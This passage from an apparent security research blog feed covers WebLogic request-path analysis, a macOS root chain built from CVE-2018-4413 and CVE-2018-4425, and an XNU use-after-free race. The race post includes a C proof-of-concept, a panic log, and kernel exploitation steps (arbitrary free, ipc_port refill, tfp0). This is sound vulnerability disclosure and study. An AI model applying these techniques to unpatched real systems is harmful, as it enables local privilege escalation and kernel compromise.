(weblogic.application.internal.flow) +prepare:45, DeploymentCallbackFlow (weblogic.application.internal.flow) +next:648, BaseDeployment$1 (weblogic.application.internal) +nextState:52, StateMachineDriver (weblogic.application.utils) +prepare:191, BaseDeployment (weblogic.application.internal) +prepare:44, SingleModuleDeployment (weblogic.application.internal) +next:348, BackgroundDeploymentService$1 (weblogic.application.internal) +nextState:52, StateMachineDriver (weblogic.application.utils) +run:273, BackgroundDeploymentService$BackgroundDeployAction (weblogic.application.internal) +run:336, BackgroundDeploymentService$OnDemandBackgroundDeployAction (weblogic.application.internal) +OnDemandURIAccessed:188, BackgroundDeploymentService (weblogic.application.internal) +loadOnDemandURI:106, OnDemandManager (weblogic.servlet.internal) +run:712, MuxableSocketHTTP$2 (weblogic.servlet.internal) +run:545, SelfTuningWorkManagerImpl$WorkAdapterImpl (weblogic.work) +execute:256, ExecuteThread (weblogic.work) +run:221, ExecuteThread (weblogic.work) +</code></pre></div></div> + +<p>​ <em>信息 10</em></p> + +<p>也就是,当一个新的webapp被安装的时候就会注册这个上下文。</p> + +<p>以上,详细介绍了用户输入一个合法的weblogic url,是如何生成request数据包的,接下来,我们看看weblogic是如何消费这个request数据包的。</p> + +<h3 id="2-请求消费路径分析">2. 请求消费路径分析</h3> + +<p>在<code class="language-plaintext highlighter-rouge">信息 2</code>中,我们已经看到了消费的栈。本小节我们稍微详细看看。</p> + +<p>首先一个请求都会走到service函数,这里即<code class="language-plaintext highlighter-rouge">service:820, HttpServlet (javax.servlet.http)</code>。相关代码来自<code class="language-plaintext highlighter-rouge">weblogic/servlet/internal/StubSecurityHelper.class</code>:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="nc">Object</span> <span class="nf">run</span><span class="o">()</span> <span class="o">{</span> + <span class="k">try</span> <span class="o">{</span> + <span class="k">if</span> <span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">stub</span> <span class="o">==</span> <span class="k">this</span><span class="o">.</span><span class="na">reqi</span><span class="o">.</span><span class="na">getServletStub</span><span class="o">()</span> <span class="o">&amp;&amp;</span> <span class="k">this</span><span class="o">.</span><span class="na">stub</span><span class="o">.</span><span class="na">isFutureResponseServlet</span><span class="o">())</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">reqi</span><span class="o">.</span><span class="na">enableFutureResponse</span><span class="o">();</span> + <span class="o">}</span> + + <span class="k">this</span><span class="o">.</span><span class="na">servlet</span><span class="o">.</span><span class="na">service</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">req</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">rsp</span><span class="o">);</span> + <span class="k">return</span> <span class="kc">null</span><span class="o">;</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Throwable</span> <span class="n">var2</span><span class="o">)</span> <span class="o">{</span> + <span class="k">return</span> <span class="n">var2</span><span class="o">;</span> + <span class="o">}</span> + <span class="o">}</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 11</em></p> + +<p>即调用<code class="language-plaintext highlighter-rouge">this.servlet.service</code>。由上一小节分析可知,这里的servlet为<code class="language-plaintext highlighter-rouge">weblogic.wsee.server.servlet.WebappWSServlet</code>。而<code class="language-plaintext highlighter-rouge">WebappWSServlet</code>的类关系如下:</p> + +<p><code class="language-plaintext highlighter-rouge">WebappWSServlet</code> —&gt; <code class="language-plaintext highlighter-rouge">BaseWSServlet</code> —&gt; <code class="language-plaintext highlighter-rouge">HttpServlet</code></p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">WebappWSServlet</span> <span class="kd">extends</span> <span class="nc">BaseWSServlet</span> <span class="o">{</span> + <span class="kd">public</span> <span class="nf">WebappWSServlet</span><span class="o">()</span> <span class="o">{</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="nc">DeployInfo</span> <span class="nf">loadDeployInfo</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">ServletException</span> <span class="o">{</span> + <span class="k">return</span> <span class="nc">ServletDeployInfo</span><span class="o">.</span><span class="na">load</span><span class="o">(</span><span class="k">this</span><span class="o">);</span> + <span class="o">}</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 12</em></p> + +<p>这也是我们在<code class="language-plaintext highlighter-rouge">信息2</code>中看到<code class="language-plaintext highlighter-rouge">BaseWSServlet</code>和<code class="language-plaintext highlighter-rouge">HttpServlet</code>,而没有看到<code class="language-plaintext highlighter-rouge">WebappWSServlet</code>的原因。</p> + +<p>剩下的就是<code class="language-plaintext highlighter-rouge">BaseWSServlet</code>自己的请求包处理逻辑了。略过。</p> + +<p>这里再附上另一个例子供对比参考:</p> + +<p>请求:http://172.16.100.97:7001/wls-wsat/CoordinatorPortType</p> + +<p>栈:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>processRequest:38, WorkContextServerTube (weblogic.wsee.jaxws.workcontext) +__doRun:866, Fiber (com.sun.xml.ws.api.pipe) +_doRun:815, Fiber (com.sun.xml.ws.api.pipe) +doRun:778, Fiber (com.sun.xml.ws.api.pipe) +runSync:680, Fiber (com.sun.xml.ws.api.pipe) +process:403, WSEndpointImpl$2 (com.sun.xml.ws.server) +handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http) +handle:253, HttpAdapter (com.sun.xml.ws.transport.http) +handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet) +handle:171, WLSServletAdapter (weblogic.wsee.jaxws) +run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws) +doAs:363, AuthenticatedSubject (weblogic.security.acl.internal) +runAs:146, SecurityManager (weblogic.security.service) +authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util) +run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws) +post:336, HttpServletAdapter (weblogic.wsee.jaxws) +doRequest:99, JAXWSServlet (weblogic.wsee.jaxws) +service:99, AbstractAsyncServlet (weblogic.servlet.http) +service:820, HttpServlet (javax.servlet.http) +run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal) +invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal) +execute:301, ServletStubImpl (weblogic.servlet.internal) +execute:184, ServletStubImpl (weblogic.servlet.internal) +wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) +run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) +doAs:321, AuthenticatedSubject (weblogic.security.acl.internal) +runAs:120, SecurityManager (weblogic.security.service) +securedExecute:2273, WebAppServletContext (weblogic.servlet.internal) +execute:2179, WebAppServletContext (weblogic.servlet.internal) +run:1490, ServletRequestImpl (weblogic.servlet.internal) +execute:256, ExecuteThread (weblogic.work) +run:221, ExecuteThread (weblogic.work) +</code></pre></div></div> + +<p>​ <em>信息 13</em></p> + +<p>可以看到,对应这个请求,响应的是<code class="language-plaintext highlighter-rouge">JAXWSServlet</code>这个servlet了。</p> + +<h2 id="0x02-总结">0x02 总结</h2> + +<p>本文主要介绍了weblogic下的http请求,包括请求的内部生成逻辑和响应逻辑。</p>#Weblogic请求包路径分析Pwn2own macos2019-03-25T00:00:00+00:002019-03-25T00:00:00+00:00/2019/03/25/Pwn2Own%20macOS<h1 id="pwn2own-macos">Pwn2Own macOS</h1> + +<p>​ 本文介绍了如何使用两个漏洞(CVE-2018-4413和CVE-2018-4425)实现macOS(10.14及其以前的版本) root,主要使用的exploit技巧来自Google Project Zero的Ian Beer在async_wake_ios中展示的ipc port exploit技巧。所以接下来的内容主要是:</p> + +<ul> + <li>漏洞介绍</li> + <li>root介绍</li> +</ul> + +<h2 id="一漏洞介绍">一、漏洞介绍</h2> + +<h3 id="cve-2018-4413">CVE-2018-4413</h3> + +<p>​ 这是一个因堆内存未初始化造成内容泄漏的漏洞,在iOS 12.1以及macOS 10.14.1中修复了,这个漏洞可以用来泄漏ipc_port内核对象的地址。接下来我们来看看这个漏洞的详细信息。</p> + +<p>​ 这个漏洞发生在sysctl_procargsx函数中:<img src="/images/PwnMac/image-20190324221646704.png" alt="image-20190324221646704" /></p> + +<p>​ 在位置(a)处,p-&gt;p_argslen的值一般是0x300左右,所以当我们传入的参数arg_size (可控参数)为0x200时,round_page函数不会被调用。紧接着这个函数调用kmem_alloc分配了一块内核内存,记为copy_start,大小是round_page(arg_size),也就是一个页面大小,注意分配出来的内存没有清零。同时记录这块内存的结束位置为copy_end。分配成功后,该函数又调用了vm_map_copyin把进程的启动参数信息arg_addr拷贝到了一个临时变量tmp中。</p> + +<p><img src="/images/PwnMac/image-20190324222043472.png" alt="image-20190324222043472" /></p> + +<p>​ 接下来,在位置(b)处,调用了vm_map_copy_overwrite将tmp中的内容又拷贝到了新分配的copy_start处。接着进入到位置(c)处,data指向上文中分配的那块一个页面内存的倒数0x200处。继续执行到位置(d)处,将data指向的0x200字节大小内容拷贝回用户态给调用者。问题就在这里,因为data处指向的是分配内存的倒数0x200处,由于该内存没有被清零,此时data指向的是未初始化的堆内存数据。</p> + +<p>​ 整个问题的描述如下图所示,该函数的原意是将copy_start处的0x200内容拷贝回去,但因为出现了逻辑漏洞,实际将未初始化的最后0x200内容拷贝回去了。</p> + +<p><img src="/images/PwnMac/image-20190324223735800.png" alt="image-20190324223735800" /></p> + +<p>​ 这个漏洞可以用来泄漏ipc_port内核对象的地址值。方法是使用类型为MACH_MSG_OOL_PORTS_DESCRIPTOR的mach message来实现,具体内容请参考Ian Beer的async_wake_ios源码。</p> + +<p>​ 苹果修复这个漏洞使用的方法也很简单,使用bzero函数在内存分配后清零即可,如下所示。</p> + +<p><img src="/images/PwnMac/image-20190324224300022.png" alt="image-20190324224300022" /></p> + +<h3 id="cve-2018-4425">CVE-2018-4425</h3> + +<p>​ 这是一个NECP类型混淆的漏洞,在macOS 10.14中修复,这个漏洞可以用来释放任意内核地址。</p> + +<p>​ 在介绍这个漏洞之前,我们先来看一下NECP的攻击界面。NECP中有两个非常直观的攻击界面,一个是necp client action系列,还有一个是necp session action系列。</p> + +<p>​ 首先来看necp client action系列:</p> + +<p>​ <img src="/images/PwnMac/image-20190324224727568.png" alt="image-20190324224727568" /></p> + +<p>​ 首先用户需要调用necp_open函数获得一个句柄,然后就可以使用这个句柄来调用necp_client_action,necp_client_action实际是一个分发函数,根据传入的参数分发到不同的服务函数。</p> + +<p>​ necp_open函数会创建一个necp_fd_data类型的内核对象,如下所示:</p> + +<p><img src="/images/PwnMac/image-20190324225113831.png" alt="image-20190324225113831" /></p> + +<p>​ necp_open创建完necp_fd_data这个内核对象后会返回一个句柄给用户,用户接下来就可以使用这个句柄来调用necp_client_action了。如下所示:</p> + +<p><img src="/images/PwnMac/image-20190324225315028.png" alt="image-20190324225315028" /> 根据用户传入的句柄uap-&gt;necp_fd,necp_client_action通过调用necp_find_fd_data函数查询到在necp_open中创建的necp_fd_data内核对象。我们来看看necp_find_fd_data函数是如何工作的:</p> + +<p><img src="/images/PwnMac/image-20190324225602516.png" alt="image-20190324225602516" /></p> + +<p>​ 可以看到,necp_find_fd_data函数首先调用fp_lookup查询句柄fd对应的fp,接着验证fp记录的fo_type值是否为DTYPE_NETPOLICY,如果是,则验证通过,返回fg_data为necp_fd_data。</p> + +<p>​ 我们再来看看另一个攻击界面necp session action,这个攻击界面和necp client action非常相似:</p> + +<p><img src="/images/PwnMac/image-20190324230046925.png" alt="image-20190324230046925" /></p> + +<p>​ 这里简单描述一下,这个攻击界面的工作流程主要如下:</p> + +<p>​ 1. 用户调用necp_session_open获得一个句柄,该句柄指向内核对象necp_session。</p> + +<p>​ 2. 用户使用返回的句柄调用necp_session_action函数。</p> + +<p>​ 那么漏洞到底出在哪里呢,我们来看看necp_session_action函数:</p> + +<p><img src="/images/PwnMac/image-20190324230355366.png" alt="image-20190324230355366" /></p> + +<p>​ necp_session_action函数调用necp_session_find_from_fd来查询necp_session对象:</p> + +<p><img src="/images/PwnMac/image-20190324230459766.png" alt="image-20190324230459766" /></p> + +<p>​ 仔细看necp_session_find_from_fd,可以发现逻辑和necp_find_fd_data一模一样,都是验证fo_type是否为DTYPE_NETPOLICY。如果是,则返回fg_data为necp_session。</p> + +<p>​ 很显然,这是一个类型混淆漏洞,传入同样的句柄,调用necp_session_find_from_fd或者necp_find_fd_data都能成功得到同一地址值的内核对象,但是却被解释成不同的数据类型,前者是necp_fd_data,后者则是necp_session,而这两个数据结构是完全不一样的。</p> + +<p>​ 这个类型混淆漏洞可以用来释放任意内核地址,接下来详细介绍一下如何实现任何地址释放。</p> + +<p>​ 第一步,调用necp_open创建一个necp_fd_data内核对象。</p> + +<p><img src="/images/PwnMac/image-20190324231618045.png" alt="image-20190324231618045" /></p> + +<p>​ 注意0x20处的update_list字段,update_list是一个双向链表的表头,被TAILQ_INIT宏初始化,所以我们得到的necp_fd_data对象如下:</p> + +<p><img src="/images/PwnMac/image-20190324231814186.png" alt="image-20190324231814186" /></p> + +<p>​ 第二步,传入necp_open的返回句柄,调用necp_session_action(注意正常情况下,应该只能调用necp_client_action才对,但这里存在类型混淆漏洞)。</p> + +<p>​ 因为传入的实际上是一个necp_fd_data内核对象而不是necp_session_action支持的necp_session对象,会发生什么神奇的事情呢?我们再来看看necp_session_action函数代码,如下所示:</p> + +<p><img src="/images/PwnMac/image-20190324232215719.png" alt="image-20190324232215719" /></p> + +<p>​ 在位置(b)处,如果session-&gt;proc_locked为false,session-&gt;proc_uuid和session-&gt;proc_pid的值会被更新。那么这三个字段是什么呢?来看看necp_session结构:</p> + +<p><img src="/images/PwnMac/image-20190324232433002.png" alt="image-20190324232433002" /></p> + +<p>​ proc_locked偏移为0x20,大小为1个字节;proc_uuid偏移为0x21,大小0x10;proc_pid偏移为0x34,大小4个字节。因为传入的实际上是necp_fd_data对象,0x20处为update_list字段的第一个字节,值为0,即false,所以proc_uuid 和proc_pid会被更新,即0x21处会被更新为uuid,长度为0x10。此时该内核对象内存分布如下:</p> + +<p><img src="/images/PwnMac/image-20190324233045912.png" alt="image-20190324233045912" /></p> + +<p>​ 可以看到,update_list这个双向链表的表头已经被替换了,除了0x20处一个字节保留为0,其他的15个字节已经被替换为UUID的低15个字节了,而uuid是macho文件中的内容,即攻击者可控内容,所以我们可以通过控制uuid将update_list这16个字节的高15位替换成任意内容。</p> + +<p>​ 第三步,调用necp_client_action 释放任意地址。</p> + +<p>​ 我们使用necp_client_action的15号服务函数necp_client_copy_client_update来释放任意地址:</p> + +<p><img src="/images/PwnMac/image-20190324233553587.png" alt="image-20190324233553587" /></p> + +<p>​ 在位置(f)处,client_update实际上是update_list指向的第一个元素,即0x20处的8个字节值,在上一步中,我们已经将此处开始的高15个字节替换成任意内容了,所以client_update的值实际上由我们控制的7个高字节和一个0组成。</p> + +<p><img src="/images/PwnMac/image-20190324233810219.png" alt="image-20190324233810219" /></p> + +<p>​ 例如,我们将MachO的UUID设置为41414141414141414141414141414141,那么我们就释放了0x4141414141414100。所以实际上,我们并不是释放任意地址,准确地讲,我们可以释放高7字节可控的地址,且第一个字节始终为0。但这样已经非常有用了,因为内核对象是8字节对齐的,很容易找到。</p> + +<p>​ 最后,我们来看看苹果是如何修复这个漏洞的。苹果增加了一个sub type来区分necp_fd_data和necp_session对象:</p> + +<p><img src="/images/PwnMac/image-20190324234356275.png" alt="image-20190324234356275" /></p> + +<h2 id="二-root介绍">二、 root介绍</h2> + +<p>​ 我们现在可以使用CVE-2018-4413得到一个ipc_port的内核对象地址,再使用CVE-2018-4425释放这个内核对象,虽然有第一个字节为0的要求,但这里并没有问题,因为泄漏的ipc_port对象是我们创建的,如果不满足条件重新创建即可。</p> + +<p>​ 而如果你对Ian Beer的async_wake_ios比较熟悉,可以知道可以用我的两个漏洞完美套用async_wake_ios中的root技巧,其技巧简单描述如下:</p> + +<ol> + <li>确保一整个page存储的全部是我们分配的ipc_port</li> + <li>使用漏洞将目标ipc_port释放</li> + <li>释放page上其他的ipc_port,使整个page处于释放状态</li> + <li>触发gc,使得page能够跨zone被重新使用</li> + <li>使用构造的ipc_kmsg重用page,ipc_kmsg将用fake_port填充page</li> + <li>使用pid_for_task获得kernel task vm_map &amp; ipc_space</li> + <li>重新使用ipc_kmsg重用page,这次fake_port指向的fake_task包含了一个fake kernel task port</li> + <li>获得tfp0,结束</li> +</ol> + +<p>​ 推荐读者仔细阅读async_wake_ios的源码,本文不再详细介绍这个root技巧。如果有疑问,可以关注我的推特账号(@panicaII)联系我,谢谢阅读。</p>Pwn2Own macOSApple_os_reason_free_uaf2019-02-15T01:52:00+00:002019-02-15T01:52:00+00:00/2019/02/15/apple_os_reason_free_uaf<h1 id="apple-xnu-uaf">Apple XNU UAF</h1> + +<h2 id="overview">Overview</h2> +<p>This is a XNU Use-after-free case, after calling <code class="language-plaintext highlighter-rouge">os_reason_free</code> in <code class="language-plaintext highlighter-rouge">reap_child_locked</code>, child-&gt;p_exit_reason becomes a dangling pointer. In normal condition, reap_child_locked will remove the child proc off the parent proc list thus we cannot call reap_child_locked twice, but reap_child_locked is not always thread safe, we can use 2 threads to do race condition.</p> + +<h2 id="root-cause-analysis">Root Cause Analysis</h2> +<p>As showed in the PanicLog, this case is of type UAF since the mutext lock becomes illegal. Let’s have a look at the root cause.</p> + +<p>In function reap_child_locked:</p> +<pre><code class="language-C">static int +reap_child_locked(proc_t parent, proc_t child, int deadparent, int reparentedtoinit, int locked, int droplock) +{ + ... + proc_t trace_parent = PROC_NULL; /* Traced parent process, if tracing */ + + if (locked == 1) + proc_list_unlock(); ---(1.a) + + ... + + os_reason_free(child-&gt;p_exit_reason); ---(1.b) + + ... + + proc_list_lock(); ---(1.c) + LIST_REMOVE(child, p_list); /* off zombproc */ + parent-&gt;p_childrencnt--; + LIST_REMOVE(child, p_sibling); + /* If there are no more children wakeup parent */ + if ((deadparent != 0) &amp;&amp; (LIST_EMPTY(&amp;parent-&gt;p_children))) + wakeup((caddr_t)parent); /* with list lock held */ + child-&gt;p_listflag &amp;= ~P_LIST_WAITING; + wakeup(&amp;child-&gt;p_stat); + + /* Take it out of process hash */ + LIST_REMOVE(child, p_hash); + child-&gt;p_listflag &amp;= ~P_LIST_INHASH; + proc_checkdeadrefs(child); + nprocs--; + + ... +} +</code></pre> +<p>At 1.a, this function will unlock the proc_list if locked; At 1.b, os_reason_free will free the exit reason if the reference count becomes 0, but after free, child-&gt;p_exit_reason becomes a dangling pointer since it is not zeroed. At 1.c, the child proc is removed from its parent’s proc list so that we cannot do any operations against the child proc any more.<br /> +But this function is not thread safe, as you can see in the panic log stack, _wait4_nocancel calls reap_child_locked without lock:</p> +<pre><code class="language-C">int +wait4_nocancel(proc_t q, struct wait4_nocancel_args *uap, int32_t *retval) +{ + ... + + proc_list_lock(); + + ... + + PCHILDREN_FOREACH(q, p) { ---(2.a) + if ( p-&gt;p_sibling.le_next != 0 ) + sibling_count++; + if (uap-&gt;pid != WAIT_ANY &amp;&amp; + p-&gt;p_pid != uap-&gt;pid &amp;&amp; + p-&gt;p_pgrpid != -(uap-&gt;pid)) + continue; + ... + + if (p-&gt;p_stat == SZOMB) { ---(2.b) + int reparentedtoinit = (p-&gt;p_listflag &amp; P_LIST_DEADPARENT) ? 1 : 0; + + proc_list_unlock(); ---(2.c) + + (void)reap_child_locked(q, p, 0, reparentedtoinit, 0, 0); ---(2.d) + + return (0); + } +} +</code></pre> +<p>At 2.a, the child proc is searched within lock; At 2.b, if the child proc is in state SZOMB(zombie), it will firstly unlock the proc_list and then call reap_child_locked at 2.d.<br /> +The problem is that, at 2.c, it unlocks the proc_list so that another thread can now obtain the same child proc <code class="language-plaintext highlighter-rouge">p</code>, then two threads now call reap_child_locked with the same child proc p.<br /> +reap_child_locked calls os_reason_free with the same p:</p> +<pre><code class="language-C">void +os_reason_free(os_reason_t cur_reason) +{ + if (cur_reason == OS_REASON_NULL) { ---(3.a) + return; + } + + lck_mtx_lock(&amp;cur_reason-&gt;osr_lock); + + if (cur_reason-&gt;osr_refcount == 0) { + panic("os_reason_free called on reason with zero refcount"); + } + + cur_reason-&gt;osr_refcount--; + if (cur_reason-&gt;osr_refcount != 0) { + lck_mtx_unlock(&amp;cur_reason-&gt;osr_lock); + return; + } + + os_reason_dealloc_buffer(cur_reason); + + lck_mtx_unlock(&amp;cur_reason-&gt;osr_lock); + lck_mtx_destroy(&amp;cur_reason-&gt;osr_lock, os_reason_lock_grp); + + zfree(os_reason_zone, cur_reason); +} +</code></pre> +<p>At 3.a, os_reason_free checks if cur_reason equals NULL. You can bypass this check by killing the child proc with reason 9. Then this function free all the resouces and reason itself. <br /> +So the first thread frees the exit reason and makes child-&gt;p_exit_reason a dangling pointer; the second thread does double free child-&gt;p_exit_reason again.<br /> +A potential attack is to refill the freed buffer with some interesting bytes, e.g. ipc_port and then the second thread can help free the target ipc_port.<br /> +A potential fix is to set child-&gt;p_exit_reason to NULL with lock protection or within an atomic instruction.</p> + +<h2 id="poc-code">PoC Code</h2> +<p>The following PoC code is not stable for triggering the UAF vulnerability but can help understand the root cause.</p> +<pre><code class="language-C">#include &lt;iostream&gt; +#include &lt;unistd.h&gt; +#include &lt;sys/proc_info.h&gt; +#include &lt;sys/syscall.h&gt; + + +#define PROC_INFO_CALL_PIDINFO 0x2 +#define PROC_PIDEXITREASONINFO 24 +#define PROC_PIDEXITREASONBASICINFO 25 + +#define SYS_kill 37 +#define SYS_proc_info 336 +#define SYS_wait4_nocancel 400 + +#define WQOPS_THREAD_RETURN 0x04 + + +bool thread1started = false; +bool thread2started = false; +bool stopthread1 = false; +bool stopthread2 = false; +bool start_try = false; +pid_t g_pid = 0; + +int proc_info(int32_t callnum,int32_t pid,uint32_t flavor, uint64_t arg,user_addr_t buffer,int32_t buffersize) { + return syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize); +} + +int kill(int pid, int signum, int posix) { + return syscall(SYS_kill, pid, signum, posix); +} + +int wait4_nocancel(int pid, user_addr_t status, int options, user_addr_t rusage) { + return syscall(SYS_wait4_nocancel, pid, status, options, rusage); +} + +// proc_info-&gt;proc_pidbsdinfo will get the bsdinfo +// callnum: PROC_INFO_CALL_PIDINFO +// pid +// flavor: PROC_PIDTBSDINFO +// arg: 1 +// buffer +// buffersize +void print_pid_info(int pid) { + proc_bsdinfo info; + + memset(&amp;info, 0, sizeof(info)); + int iret = proc_info(PROC_INFO_CALL_PIDINFO, pid, PROC_PIDTBSDINFO, 1, (user_addr_t)&amp;info, sizeof(info)); + printf("print_pid_info:\n"); + printf("iret: %d\n", iret); + printf("pid: %d\n", pid); + printf("status: 0x%x\n", info.pbi_status); +} + +// proc_info-&gt;proc_pidexitreasoninfo will get the exitreason info +// callnum: PROC_INFO_CALL_PIDINFO +// pid +// flavor: PROC_PIDEXITREASONINFO +// arg: 1 +// buffer +// buffersize + +void print_basic_exit_reason(int pid) { + proc_exitreasonbasicinfo info; + + memset(&amp;info, 0, sizeof(info)); + + int ret = proc_info(PROC_INFO_CALL_PIDINFO, pid, PROC_PIDEXITREASONBASICINFO, 1, (user_addr_t)&amp;info, sizeof(info)); + if (ret == 0) { + printf("get basic information ok\n"); + } else { + printf("get basic information failure, err:%d\n", ret); + } + + printf("pid: %d\n", pid); + printf("eri_code: 0x%llx\n", info.beri_code); + printf("eri_reason_buf_size: 0x%x\n", info.beri_reason_buf_size); +} + +void one_try() { + pid_t pid = fork(); + + if (pid == 0) { + // child + //set_proc_exit_reason(); + sleep(100); + + return; + } else { + kill(pid, 9, 0); + sleep(2); + + /*int iret = 0; + printf("1st time:\n"); + print_pid_info(pid); + print_basic_exit_reason(pid); + + printf("2nd time, call wait4\n"); + print_pid_info(pid); + iret = wait4_nocancel(pid, 0, 0, 0); + printf("wait4 ret: 0x%x\n",iret); + print_basic_exit_reason(pid); + + printf("3rd time, call wait4 again\n"); + print_pid_info(pid); + iret = wait4_nocancel(pid, 0, 0, 0); + printf("wait4 ret: 0x%x\n",iret); + print_basic_exit_reason(pid);*/ + g_pid = pid; + start_try = true; + sleep(2); + g_pid = 0; + start_try = false; + + } +} + +void* thread1(void*) { + thread1started = true; + int iret = 0; + + while (!stopthread1) { + if (g_pid &amp;&amp; start_try==true) { + iret = wait4_nocancel(g_pid, 0, 0, 0); + if (iret &gt;= 0) printf("thread1 iret: %d\n", iret); + } + + } + return NULL; +} + +void* thread2(void*) { + thread2started = true; + int iret = 0; + while (!stopthread2) { + if (g_pid &amp;&amp; start_try==true) { + iret = wait4_nocancel(g_pid, 0, 0, 0); + if (iret &gt;= 0) printf("thread2 iret: %d\n", iret); + } + } + return NULL; +} + +int main(int argc, const char * argv[]) { + + pthread_t t1, t2; + + pthread_create(&amp;t1, NULL, thread1, NULL); + pthread_create(&amp;t2, NULL, thread2, NULL); + + while(!thread1started || !thread2started); + + for (int i=0; i&lt;100; i++) { + printf("try: %d/100\n", i+1); + one_try(); + sleep(1); + } + + stopthread1 = stopthread2 = true; + pthread_join(t1, NULL); + pthread_join(t2, NULL); + + return 0; +} + +</code></pre> +<h2 id="panic-log">Panic Log</h2> +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Anonymous UUID: 039B94D9-F271-8A3F-BAE4-C8BF9D6B5BEE + +Tue Oct 23 01:24:02 2018 + +*** Panic Report *** +panic(cpu 0 caller 0xffffff8028297f8c): Kernel trap at 0xffffff802828f547, type 13=general protection, registers: +CR0: 0x000000008001003b, CR2: 0x0000010000000000, CR3: 0x000000000beee0ca, CR4: 0x00000000001606e0 +RAX: 0xc0ffee9e0fce50c0, RBX: 0x000000477ae121b2, RCX: 0x00000000dfadbeef, RDX: 0xffffff8032cc76e0 +RSP: 0xffffff802d5bbd60, RBP: 0xffffff802d5bbd90, RSI: 0x0000000000000002, RDI: 0xffffff8032cc76e0 +R8: 0xffffff803a3ad000, R9: 0xffffff8028ab1588, R10: 0x0000000000000000, R11: 0x0000000000000000 +R12: 0x000000477ae1217f, R13: 0x0000000000000000, R14: 0x000000477aeae57f, R15: 0xffffff8032cc76e0 +RFL: 0x0000000000010086, RIP: 0xffffff802828f547, CS: 0x0000000000000008, SS: 0x0000000000000010 +Fault CR2: 0x0000010000000000, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 1, VF: 0 + +Backtrace (CPU 0), Frame : Return Address +0xffffff8027f5c270 : 0xffffff8028126776 mach_kernel : _handle_debugger_trap + 0x456 +0xffffff8027f5c2c0 : 0xffffff80282a81a4 mach_kernel : _kdp_i386_trap + 0x164 +0xffffff8027f5c300 : 0xffffff8028297d42 mach_kernel : _kernel_trap + 0x3c2 +0xffffff8027f5c380 : 0xffffff80280bd1d0 mach_kernel : trap_from_kernel + 0x26 +0xffffff8027f5c3a0 : 0xffffff8028125e4b mach_kernel : _panic_trap_to_debugger + 0x18b +0xffffff8027f5c4d0 : 0xffffff8028125c9c mach_kernel : _panic + 0x5c +0xffffff8027f5c530 : 0xffffff8028297f8c mach_kernel : _kernel_trap + 0x60c +0xffffff8027f5c6b0 : 0xffffff80280bd1d0 mach_kernel : trap_from_kernel + 0x26 +0xffffff8027f5c6d0 : 0xffffff802828f547 mach_kernel : _lck_mtx_lock_spinwait_x86 + 0xf7 +0xffffff802d5bbd90 : 0xffffff80280bba41 mach_kernel : _lck_mtx_lock + 0x201 +0xffffff802d5bbdb0 : 0xffffff80287af8d0 mach_kernel : _os_reason_free + 0x20 +0xffffff802d5bbde0 : 0xffffff80286f39d2 mach_kernel : _reap_child_locked + 0x2a2 +0xffffff802d5bbe30 : 0xffffff80286f5a2d mach_kernel : _wait4_nocancel + 0x87d +0xffffff802d5bbf20 : 0xffffff80287bfe60 mach_kernel : _unix_syscall64 + 0x3c0 +0xffffff802d5bbfa0 : 0xffffff80280bd9b6 mach_kernel : _hndl_unix_scall64 + 0x16 +</code></pre></div></div> +<h2 id="q--a">Q &amp; A</h2> + +<h3 id="how-did-you-find-this-vulnerability">How did you find this vulnerability?</h3> +<p>by fuzzing.</p> + +<h3 id="can-you-identify-exploitability">Can you identify exploitability?</h3> +<p>This is a <strong>UAF</strong> vulnerability. It can help do LPE.</p> + +<h3 id="can-you-identify-root-cause">Can you identify root cause?</h3> +<p>Yes, see the root cause analysis.</p> + +<h3 id="vulnerable-software-and-hardware">Vulnerable software and hardware</h3> +<p>macOS 10.14.3 and all before +iOS 12.1.3 and all before</p>juwei linApple XNU UAFIos_exp_one_ipc_port_exploitation_and_pac2019-02-11T06:34:00+00:002019-02-11T06:34:00+00:00/2019/02/11/iOS_exp_one_ipc_port_exploitation_and_pac<h1 id="ios-exploitation-one---ipc-port-exploitation-and-pac">iOS Exploitation One - IPC Port Exploitation and PAC</h1> +<p>本文介绍有关IPC_PORT相关的Exp技术,最后介绍苹果实现的PAC及其绕过技巧(已修复)。</p> + +<h2 id="ipc_port-reference-count-issue">IPC_PORT Reference Count Issue</h2> +<p>Ian Beer在几个case描述文章中非常详细地描述了ipc_port的UAF漏洞及其利用技巧,这些UAF漏洞多是因未遵循MIG规则出现的reference count leak而造成的。</p> + +<h3 id="mig-semantics">MIG Semantics</h3> +<p>在Ian Beer发现的<a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=926">CVE-2016-7612</a>中,介绍了MIG Ownership Rule:</p> +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ipc_kobject_server in ipc_kobject.c is the main dispatch routine for the kernel MIG endpoints. When userspace sends a +message the kernel will copy in the message body and also copy in all the message rights; see for example +ipc_right_copyin in ipc_right.c. This means that by the time we reach the actual callout to the MIG handler any port rights +contained in a request have had their reference count increased by one. + +After the callout we reach the following code (still in ipc_kobject_server): + + if 